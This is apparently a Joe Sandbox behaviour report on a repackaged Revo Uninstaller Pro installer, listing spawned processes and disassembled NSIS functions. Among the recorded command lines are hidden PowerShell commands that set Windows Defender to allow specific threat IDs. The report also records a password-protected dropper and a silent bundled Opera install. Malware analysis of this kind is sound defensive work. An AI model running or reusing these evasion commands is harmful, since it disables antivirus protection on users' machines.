Path:	C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe"
Imagebase:	0x140000000
File size:	25'576'112 bytes
MD5 hash:	EE15BFE5A394ADBFB087B053A6A72821
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	11:53:14
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c "C:\Users\user\AppData\Local\Temp\PACK.EXE" -p123
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:53:14
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:53:14
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\PACK.EXE
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\PACK.EXE -p123
Imagebase:	0xfd0000
File size:	419'886 bytes
MD5 hash:	A868E9C0A97C2EF80602C0F6634913F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 30%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:53:15
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147781989 -ThreatIDDefaultAction_Actions Allow -Force"
Imagebase:	0x3a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:53:15
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:53:17
Start date:	09/12/2024
Path:	C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe
Wow64 process (32bit):	true
Commandline:	C:\PROGRA~1\VSREVO~1\REVOUN~1\ruplp.exe -Embedding
Imagebase:	0x400000
File size:	10'103'264 bytes
MD5 hash:	216B49B7EB7BE44D7ED7367F3725285F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:53:28
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147735505 -ThreatIDDefaultAction_Actions Allow -Force"
Imagebase:	0x3a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:53:28
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:53:42
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147814523 -ThreatIDDefaultAction_Actions Allow -Force"
Imagebase:	0x3a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:53:42
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:53:58
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe"
Imagebase:	0x400000
File size:	174'444 bytes
MD5 hash:	7ACCFDE96C04320BA099144A7BE710CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 25%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:54:05
Start date:	09/12/2024
Path:	C:\Users\user\Downloads\OperaSetup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0
Imagebase:	0x340000
File size:	2'227'280 bytes
MD5 hash:	5A1105F1C25A60B128D45EC03041BF48
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	11:54:07
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe --silent --allusers=0 --server-tracking-blob=NjAxODRkYTk2NmVjNjFhZDRjZmFkOGU5NDAyOGEwYWNlYzViZGE5ZjVkYTg0YmUwMzJiZDRjZWFjZGQ4ODM0Njp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijoib3BlcmEiLCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cz91dG1fc291cmNlPURXTkxTVCZ1dG1fbWVkaXVtPWFwYiZ1dG1fY2FtcGFpZ249cjEwIiwidGltZXN0YW1wIjoiMTczMzc2MzI0Mi4yNjIyIiwidXNlcmFnZW50IjoiTlNJU19JbmV0YyAoTW96aWxsYSkiLCJ1dG0iOnsiY2FtcGFpZ24iOiJyMTAiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJEV05MU1QifSwidXVpZCI6ImNkOWY4MWM2LTcyOWEtNGQ5NS1hYzcxLTFlYmJhNzViZmM3YiJ9
Imagebase:	0xd0000
File size:	5'740'952 bytes
MD5 hash:	F9DA76E8D7DB633AB031EE5AC59BB55E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	11:54:07
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=115.0.5322.77 --initial-client-data=0x324,0x328,0x32c,0x300,0x330,0x6c2f7cf4,0x6c2f7d00,0x6c2f7d0c
Imagebase:	0xd0000
File size:	5'740'952 bytes
MD5 hash:	F9DA76E8D7DB633AB031EE5AC59BB55E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	11:54:08
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe" --version
Imagebase:	0x190000
File size:	5'740'952 bytes
MD5 hash:	F9DA76E8D7DB633AB031EE5AC59BB55E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	11:54:09
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --showunbox=0 --installfolder="C:\Users\user\AppData\Local\Programs\Opera" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=8040 --package-dir-prefix="C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20241209115409" --session-guid=57f4b7c1-1875-4c3d-aada-fe1e595f9b71 --server-tracking-blob="ZTEzMzE3M2U4ODhkN2Y3YmE0ODQ3NmYwNmNlNmJmMDE4NmY4MzAzYmNmNWRmMWYyYmVlYWJmNDExZjE1ZDAzODp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cz91dG1fc291cmNlPURXTkxTVCZ1dG1fbWVkaXVtPWFwYiZ1dG1fY2FtcGFpZ249cjEwIiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzMzNzYzMjQyLjI2MjIiLCJ1c2VyYWdlbnQiOiJOU0lTX0luZXRjIChNb3ppbGxhKSIsInV0bSI6eyJjYW1wYWlnbiI6InIxMCIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6IkRXTkxTVCJ9LCJ1dWlkIjoiY2Q5ZjgxYzYtNzI5YS00ZDk1LWFjNzEtMWViYmE3NWJmYzdiIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=1806000000000000
Imagebase:	0xd0000
File size:	5'740'952 bytes
MD5 hash:	F9DA76E8D7DB633AB031EE5AC59BB55E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	11:54:10
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=115.0.5322.77 --initial-client-data=0x31c,0x320,0x330,0x2f8,0x334,0x6b717cf4,0x6b717d00,0x6b717d0c
Imagebase:	0xd0000
File size:	5'740'952 bytes
MD5 hash:	F9DA76E8D7DB633AB031EE5AC59BB55E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	32.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.2%
Total number of Nodes:	1392
Total number of Limit Nodes:	52

Executed Functions

Function 00403665 Relevance: 75.7, APIs: 33, Strings: 10, Instructions: 464
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32 ref: 00403688
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?), ref: 004036B3
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 004036C6
lstrlenA.KERNEL32(UXTHEME,UXTHEME,?,?,?,?,?,?,?,?), ref: 0040375F
#17.COMCTL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040379C
OleInitialize.OLE32(00000000), ref: 004037A3
SHGetFileInfoW.SHELL32(00432708,00000000,?,000002B4,00000000), ref: 004037C2
GetCommandLineW.KERNEL32(00464260,NSIS Error,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004037D7
CharNextW.USER32(00000000,004BD000,00000020,004BD000,00000000,?,00000008,0000000A,0000000C), ref: 00403810
GetTempPathW.KERNEL32(00002000,004D1000,00000000,00008001,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403948
GetWindowsDirectoryW.KERNEL32(004D1000,00001FFB,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403959
lstrcatW.KERNEL32(004D1000,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403965
GetTempPathW.KERNEL32(00001FFC,004D1000,004D1000,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403979
lstrcatW.KERNEL32(004D1000,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403981
SetEnvironmentVariableW.KERNEL32(TEMP,004D1000,004D1000,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403992
SetEnvironmentVariableW.KERNEL32(TMP,004D1000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040399A
DeleteFileW.KERNEL32(004CD000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004039AE
lstrlenW.KERNEL32(004D1000,004BD000,00000000,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A87

Part of subcall function 004066A2: lstrcpynW.KERNEL32(?,?,00002000,004037D7,00464260,NSIS Error,?,00000008,0000000A,0000000C), ref: 004066AF

wsprintfW.USER32 ref: 00403AE4
GetFileAttributesW.KERNEL32(00481000,004D1000), ref: 00403B17
DeleteFileW.KERNEL32(00481000), ref: 00403B23
SetCurrentDirectoryW.KERNEL32(004D1000,004D1000), ref: 00403B51

Part of subcall function 00406462: MoveFileExW.KERNEL32(?,?,00000005,00405F60,?,00000000,000000F1,?,?,?,?,?), ref: 0040646C

CopyFileW.KERNEL32(004D9000,00481000,00000001,004D1000,00000000), ref: 00403B67

Part of subcall function 00405C85: CreateProcessW.KERNEL32(00000000,00481000,00000000,00000000,00000000,04000000,00000000,00000000,0045A750,?,?,?,00481000,?), ref: 00405CAE
Part of subcall function 00405C85: CloseHandle.KERNEL32(?,?,?,00481000,?), ref: 00405CBB

Part of subcall function 004069FF: FindFirstFileW.KERNEL32(74DF3420,0045A798,00456750,004060C2,00456750,00456750,00000000,00456750,00456750,74DF3420,?,74DF2EE0,00405DCE,?,74DF3420,74DF2EE0), ref: 00406A0A
Part of subcall function 004069FF: FindClose.KERNEL32(00000000), ref: 00406A16

ExitProcess.KERNEL32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403BB0
CoUninitialize.COMBASE(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403BB5
ExitProcess.KERNEL32 ref: 00403BD2
CloseHandle.KERNEL32(00000000,00485000,00485000,?,00481000,00000000), ref: 00403BD9
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403BF5
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?), ref: 00403BFC
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403C11
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00403C34
ExitWindowsEx.USER32(00000002,80040002), ref: 00403C59
ExitProcess.KERNEL32 ref: 00403C7C

Part of subcall function 00405C50: CreateDirectoryW.KERNEL32(?,00000000,00403658,004D1000,004D1000,004D1000,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 00405C56

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040367C
TMP, xrefs: 00403995
\Temp, xrefs: 0040395F
~nsu%X.tmp, xrefs: 00403ADB
UXTHEME, xrefs: 00403753, 00403758, 0040375E
SeShutdownPrivilege, xrefs: 00403C0B
TEMP, xrefs: 0040398D
Error launching installer, xrefs: 00403A30
Low, xrefs: 0040397B
NSIS Error, xrefs: 004037C8

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: File$Process$Exit$CloseDirectory$CreateCurrentDeleteEnvironmentFindHandlePathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCommandCopyErrorFirstInfoInitializeLineLookupModeMoveNextOpenPrivilegePrivilegesUninitializeValuelstrcpynwsprintf
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
API String ID: 2017177436-2502969717
Opcode ID: 3d671764197dcef63dc7c2a13f67f50788250ee6bdde08026161d1f705c381d7
Instruction ID: d5dd5e0f9c74a08960ebc8aa75e9a138e3a42fd8f19371cc0c5244fd25c86c9d
Opcode Fuzzy Hash: 3d671764197dcef63dc7c2a13f67f50788250ee6bdde08026161d1f705c381d7
Instruction Fuzzy Hash: 56F108316043019AD720AF769D45B2B7AE8EF4174AF10883EF581B22D1DB7CDA45CB6E

Function 00405866 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004058C4
GetDlgItem.USER32(?,000003EE), ref: 004058D3
GetClientRect.USER32(?,?), ref: 00405910
GetSystemMetrics.USER32(00000002), ref: 00405917
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405938
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405949
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040595C
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040596A
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040597D
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040599F
ShowWindow.USER32(?,00000008), ref: 004059B3
GetDlgItem.USER32(?,000003EC), ref: 004059D4
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004059E4
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004059FD
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405A09
GetDlgItem.USER32(?,000003F8), ref: 004058E2

Part of subcall function 00404656: SendMessageW.USER32(00000028,?,00000001,00404481), ref: 00404664

GetDlgItem.USER32(?,000003EC), ref: 00405A26
CreateThread.KERNEL32(00000000,00000000,Function_000057FA,00000000), ref: 00405A34
CloseHandle.KERNEL32(00000000), ref: 00405A3B
ShowWindow.USER32(00000000), ref: 00405A5F
ShowWindow.USER32(?,00000008), ref: 00405A64
ShowWindow.USER32(00000008), ref: 00405AAE
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405AE2
CreatePopupMenu.USER32 ref: 00405AF3
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405B07
GetWindowRect.USER32(?,?), ref: 00405B27
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405B40
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B78
OpenClipboard.USER32(00000000), ref: 00405B88
EmptyClipboard.USER32 ref: 00405B8E
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405B9A
GlobalLock.KERNEL32(00000000), ref: 00405BA4
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405BB8
GlobalUnlock.KERNEL32(00000000), ref: 00405BD8
SetClipboardData.USER32(0000000D,00000000), ref: 00405BE3
CloseClipboard.USER32 ref: 00405BE9

Strings

{, xrefs: 00405ACC
H'D, xrefs: 00405B54

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: H'D${
API String ID: 590372296-3538427676
Opcode ID: 7fb9c064395b8d5c06d15c7ce8b1b0c6621f3944dcd12c6d8502cf874e2b8e07
Instruction ID: a946544cda80648ae215d749a1304cfc675a42e6d6c1d5f97ef9608d1157b9e3
Opcode Fuzzy Hash: 7fb9c064395b8d5c06d15c7ce8b1b0c6621f3944dcd12c6d8502cf874e2b8e07
Instruction Fuzzy Hash: 0DB16770800608FFDF11AFA0DD859AE3B78EB48354F10413AFA45BA1A0D7785A41DF69

Function 00404B12 Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 275
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404B61
SetWindowTextW.USER32(00000000,?), ref: 00404B8B
SHAutoComplete.SHLWAPI(00000000,00000001,00000009,00000000,?,00000014,?,?,00000001,?), ref: 00404BC5
SHBrowseForFolderW.SHELL32(?), ref: 00404C3C
CoTaskMemFree.OLE32(00000000), ref: 00404C47
lstrcmpiW.KERNEL32(Remove folder: ,00442748,00000000,?,?), ref: 00404C79
lstrcatW.KERNEL32(?,Remove folder: ), ref: 00404C85
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404C97

Part of subcall function 00405CE6: GetDlgItemTextW.USER32(?,?,00002000,00404CCE), ref: 00405CF9

Part of subcall function 00406950: CharNextW.USER32(?,*?|<>/":,00000000,004BD000,74DF3420,004D1000,00000000,00403640,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 004069B3
Part of subcall function 00406950: CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004069C2
Part of subcall function 00406950: CharNextW.USER32(?,004BD000,74DF3420,004D1000,00000000,00403640,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 004069C7
Part of subcall function 00406950: CharPrevW.USER32(?,?,74DF3420,004D1000,00000000,00403640,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 004069DA

GetDiskFreeSpaceExW.KERNEL32(C:\Program Files\,?,?,?,00000001,C:\Program Files\,?,?,000003FB,?), ref: 00404D0E
GetDiskFreeSpaceW.KERNEL32(C:\Program Files\,?,?,0000040F,?,C:\Program Files\,C:\Program Files\,?,00000001,C:\Program Files\,?,?,000003FB,?), ref: 00404D5A
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404D75

Part of subcall function 00404ECE: lstrlenW.KERNEL32(00442748,00442748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F6F
Part of subcall function 00404ECE: wsprintfW.USER32 ref: 00404F78
Part of subcall function 00404ECE: SetDlgItemTextW.USER32(?,00442748), ref: 00404F8B

Strings

A, xrefs: 00404C35
Remove folder: , xrefs: 00404C73, 00404C78, 00404C83
C:\Program Files\, xrefs: 00404CDF, 00404CE5, 00404D0D, 00404D1C, 00404D34, 00404D3A, 00404D59
H'D, xrefs: 00404C0F

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CharItemText$FreeNext$DiskSpace$AutoBrowseCompleteFolderPrevTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Program Files\$H'D$Remove folder:
API String ID: 4039761011-425954661
Opcode ID: 6e15f0ff5402f2575495af3f7f30cd26abeab5420aa242f492b7e6411a88d81d
Instruction ID: 631ab75ceab9e691d6259a87645379c0ec27aba7f5179a8718d2cd07d5d9f082
Opcode Fuzzy Hash: 6e15f0ff5402f2575495af3f7f30cd26abeab5420aa242f492b7e6411a88d81d
Instruction Fuzzy Hash: 52A1A3B1900209ABDB11AFA5CD81AEF77B8FF84754F11843BF601B62D1DB7C89418B69

Function 00405DAE Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?,?,74DF3420,74DF2EE0,004BD000), ref: 00405DD7
lstrcatW.KERNEL32(00452750,\*.*,00452750,?,?,74DF3420,74DF2EE0,004BD000), ref: 00405E1F
lstrcatW.KERNEL32(?,0040A014,?,00452750,?,?,74DF3420,74DF2EE0,004BD000), ref: 00405E42
lstrlenW.KERNEL32(?,?,0040A014,?,00452750,?,?,74DF3420,74DF2EE0,004BD000), ref: 00405E48
FindFirstFileW.KERNEL32(00452750,?,?,?,0040A014,?,00452750,?,?,74DF3420,74DF2EE0,004BD000), ref: 00405E58
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405EF8
FindClose.KERNEL32(00000000), ref: 00405F07

Strings

P'E, xrefs: 00405E07
\*.*, xrefs: 00405E19

Memory Dump Source

